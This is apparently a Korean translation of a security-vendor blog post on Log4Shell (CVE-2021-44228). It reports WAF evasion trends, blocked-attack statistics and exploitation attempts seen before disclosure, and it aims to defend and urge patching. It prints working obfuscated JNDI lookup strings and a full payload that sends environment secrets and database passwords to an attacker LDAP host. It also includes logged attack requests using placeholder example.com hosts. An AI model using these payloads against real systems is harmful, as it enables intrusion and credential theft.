이 블로그 포스팅에서는 전 세계의 WAF 회피 패턴과 유출 시도, 시도한 취약점 공격에 대한 트랜드 데이터, CVE-2021-44228 공표 전에 볼 수 있었던 취약점 공격에 대한 정보를 다룰 예정입니다.
요약하자면 공표 8일 전인 12월 1일에 취약점의 제한적인 테스트를 목격했습니다. 새롭게 발견된 문제의 취약점을 공격하는 데 공격자가 얼마나 빠른지를 보여주는 공표한 지 고작 9분 후 진행된 첫 번째 취약점 공격 시도를 확인했습니다.
단순한 차단을 수행하려고 했던 WAF를 회피하려는 많은 수의 시도를 목격하기도 했습니다. 비밀 자격 증명과 암호를 포함한 데이터를 유출하려는 많은 수의 시도도 확인했습니다.
WAF 회피 패턴 및 유출 예시
CVE-2021-44228(지금은 일반적으로 Log4Shell이라고 함) 폭로이후로 공격자가 단순한 공격 문자열을 사용하는 것에서 WAF에 의한 차단을 회피하기 위해 활발하게 시도하는 것으로 변화한 것을 목도했습니다. WAF는 외부 공격자를 막기 위한 유용한 도구를 제공하며 WAF 회피는 단순한 규칙을 통과하기 위한 일반적인 시도입니다.
Log4j 취약점 공격의 초기 단계에서 공격자는 난독화되지 않은 문자열을 사용했습니다. 이는 일반적으로 ${jndi:dns
, ${jndi:rmi
및 ${jndi:ldap
로 시작하며 단순한 규칙으로 이러한 패턴을 효과적으로 찾을 수 있었습니다.
이러한 문자열이 차단된 후 공격자는 곧 사용하는 회피 기술을 전환했습니다. 표준 회피 기술(문자 이스케이핑 및 부호화)과 Log4j Lookups 언어 특정 맞춤형 회피 모두를 이전에도 사용했었고 현재도 사용하고 있습니다.
모든 가능한 WAF는 표준 기술을 처리할 수 있습니다. ${를 %24%7B
또는 \u0024\u007b
로 부호화하는 트릭은 사용되는 특정 취약점 공격을 확인하는 규칙을 적용하기 전에 쉽게 되돌릴 수 있습니다.
그러나 Log4j 언어에는 일부 WAF에서 찾고 있는 키 문자열을 모호하게 하는 일부 다채로운 기능이 있습니다. 예를 들어 ${lower} 룩업은 문자열을 소문자로 전환합니다. 따라서 ${lower:H}는 h로 전환됩니다. 룩업을 사용하여 공격자는 WAF 회피에 도움이 되는 jndi와 같은 주요 문자열을 숨깁니다.
외부에서 ${date}
, ${lower}
, ${upper}
, ${web}
, ${main}
및 ${env}
가 회피를 위해 사용되는 것을 보았습니다. 또한, ${env}
, ${sys}
및 ${main}
(그리고 도커, 쿠버네티스, 기타 시스템을 위한 기타 특별 룩업)이 목표 프로세스 환경(주요 비밀 포함)에서 데이터를 유출하기 위해 사용되고 있습니다.
이 언어의 사용 방법을 보다 잘 이해하기 위해 여기에 있는 소규모 Java 프로그램을 통해 알아보겠습니다. 이 프로그램은 명령 줄에 있는 문자열을 가져가 Log4j를 통해 콘솔에 기록합니다.
이 단순한 프로그램으로 콘솔에 작성합니다. 여기에서는 하나의 단어인 hide를 기록합니다.
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4jTester{
private static final Logger logger = LogManager.getLogger(log4jTester.class);
public static void main(String[] args) {
logger.error(args[0]);
}
}
Log4j 언어를 통해 ${} 내부에서 ${} 사용이 가능하기에 공격자는 회피를 위해 다른 여러 키워드를 조합할 수 있습니다. 예를 들어 다음 ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e
는 hide라는 단어로 기록됩니다. 이로 인해 공격자는 예를 들어 jndi의 문자를 비슷한 방식으로 숨길 수 있기에 ${jndi를 찾는 단순한 검색을 쉽게 회피할 수 있습니다.
$ java log4jTester.java 'hide'
01:28:25.606 [main] ERROR log4jTester - hide
다른 주요 회피 기술은 :- 구문을 사용합니다. 구문을 통해 공격자는 룩업을 위한 기본값을 설정하고 찾은 값이 비어 있다면 기본값은 출력이 됩니다. 그렇기에 예를 들어 존재하지 않는 환경 변수를 찾는 것은 단어의 문자를 출력하기 위해 사용될 수 있습니다.
$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide
비슷한 기술이 ${web}
, ${main}
등과 함께 사용되며 모두 h로 전환되는 ${::-h}
또는 ${::::::-h}
와 같은 문자열과도 사용됩니다. 또한, 당연하게도 더욱더 정교한 회피 시도를 위해 이러한 기술의 조합이 만들어지고 있습니다.
$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}'
01:35:34.280 [main] ERROR log4jTester - hide
회피 유행이 어떻게 시작되었는지를 이해할 수 있도록 WAF 차단에서 보이는 난독화되지 않은 ${jndi:(주황색 선), ${lower}
룩업 사용(초록색 선), URI 부호화 사용(파란색 선) 및 널리 퍼진 특정 회피인 ${${::-j}${::-n}${::-d}${::-i}
(빨간색 선)을 보여주는 차트입니다.
처음 며칠은 회피가 비교적 드물었습니다. 하지만 이제 ${jndi:와 같은 나이브 문자열이 인기가 많긴 하지만 회피 유행이 시작되었고 WAF는 이러한 개선된 공격을 차단해야만 합니다.
지난주에 취약점 공격의 초기 단계에 대한 글을 적었습니다. 대부분은 정찰에 관한 내용이었습니다. 그 이후로 공격자는 데이터 유출로 이동했습니다.
환경 변수를 추출하기 위한 ${env}와 Log4j가 실행되는 시스템에 대한 정보를 가져오기 위한 ${sys} 사용을 목격했습니다. 외부에서 차단된 하나의 공격은 여러 Log4j 룩업으로부터 대량의 데이터를 유출하려고 시도했습니다.
사용자, 홈 디렉터리, 도커 이미지명, 쿠버네티스 및 스프링 세부 정보, 사용자 및 데이터베이스 암호, 호스트명 및 명령 줄 인수가 유출된 것을 확인하실 수 있습니다.
${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}
회피 및 유출이 모두 정교해지면서 WAF 벤더는 모든 ${ 발생을 확인해야 하고 이를 의심스럽게 취급해야 합니다. 이로 인해 당사에서는 추가적으로 당사에서 고객에게 전송하는 모든 로그를 삭제하여 ${ 를 x{로 변환하여 제공하고 있습니다.
Cloudflare WAF 팀은 취약점 공격 시도를 차단하기 위해 계속해서 노력하고 있지만 고객이 최신 Log4j로 자신의 시스템에 패치를 하고 완화를 적용하는 것이 매우 중요합니다. 기록된 데이터가 반드시 인터넷을 통해 전달되지 않기에 시스템이 인터넷과 연결되든 아니든 패치가 필요합니다.
모든 유료 고객에게는 CVE-2021-44228로부터 보호하는 데 도움이 되는 구성 가능한 WAF 규칙이 제공됩니다. 무료 고객을 대상으로도 보호가 배포되었습니다.
CVE-2021-44228 취약점 공격 트랜드
Cloudflare에서는 빠르게 이러한 공격을 차단하는데 도움이 되는 WAF 규칙을 적용했습니다. 다음 차트는 이러한 차단된 공격이 어떻게 발전했는지를 보여줍니다.
12월 10일에서 12월 13일까지 다음과 같이 분당 차단 수가 증가하는 것을 목격했습니다.
날짜
분당 차단된 평균 요청 수
2021-12-10
5,483
2021-12-11
18,606
2021-12-12
27,439
2021-12-13
24,642
당사의 초기 블로그 포스팅에서 캐나다(아래의 초록색 선)가 취약점 공격을 시도한 상위 소스 나라임을 알려드렸습니다. 저희가 예측했던 대로 이러한 상황이 지속되지 않았고 전 세계에서 서버에서 직접적으로 또는 프록시를 통해서 공격을 받고 있습니다.
폭로 전 CVE-2021-44228 취약점 공격
CVE-2021-44228은 지금은 삭제된 2021년 12월 9일 14:25 UTC 트윗을 통해 폭로되었습니다.
하지만 당사의 시스템에서 다음과 같은 2021년 12월 1일에 취약점 공격 또는 스캐닝 시도의 세 가지 사례를 포착했습니다. 각 사례에서 IP 주소와 도메인 이름은 작성자 본인이 삭제했습니다. 이러한 세 개의 삽입된 ${jndi:ldap}
룩업은 HTTP User-Agent 헤더, Referer 헤더 및 URI 파라미터에 있습니다.
이러한 세 번의 시도 후 공표 후 9분 후까지 추가적인 활동이 없었습니다. 이 시점에 누군가 게임 웹 사이트의 URI 파라미터를 통해 ${jndi:ldap}
문자열을 삽입하려 시도했습니다.
2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D
2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D
2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D
결론
2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}
CVE-2021-44228은 많은 수의 액터에 의해 활발하게 취약점을 공격 받고 있습니다. WAF는 외부로부터의 공격을 방지하는 효과적인 조치이지만 실패할 가능성이 없지는 않고 공격자는 활발하게 이를 회피하려 노력하고 있습니다. 데이터 및 자격 증명 유출의 가능성은 매우 크며 더욱 심각한 해킹과 공격의 장기적인 위험은 매우 현실적입니다.
Log4j를 사용하고 영향을 받은 소프트웨어를 지체 없이 지금 당장 완화하고 패치를 하는 것은 매우 중요합니다.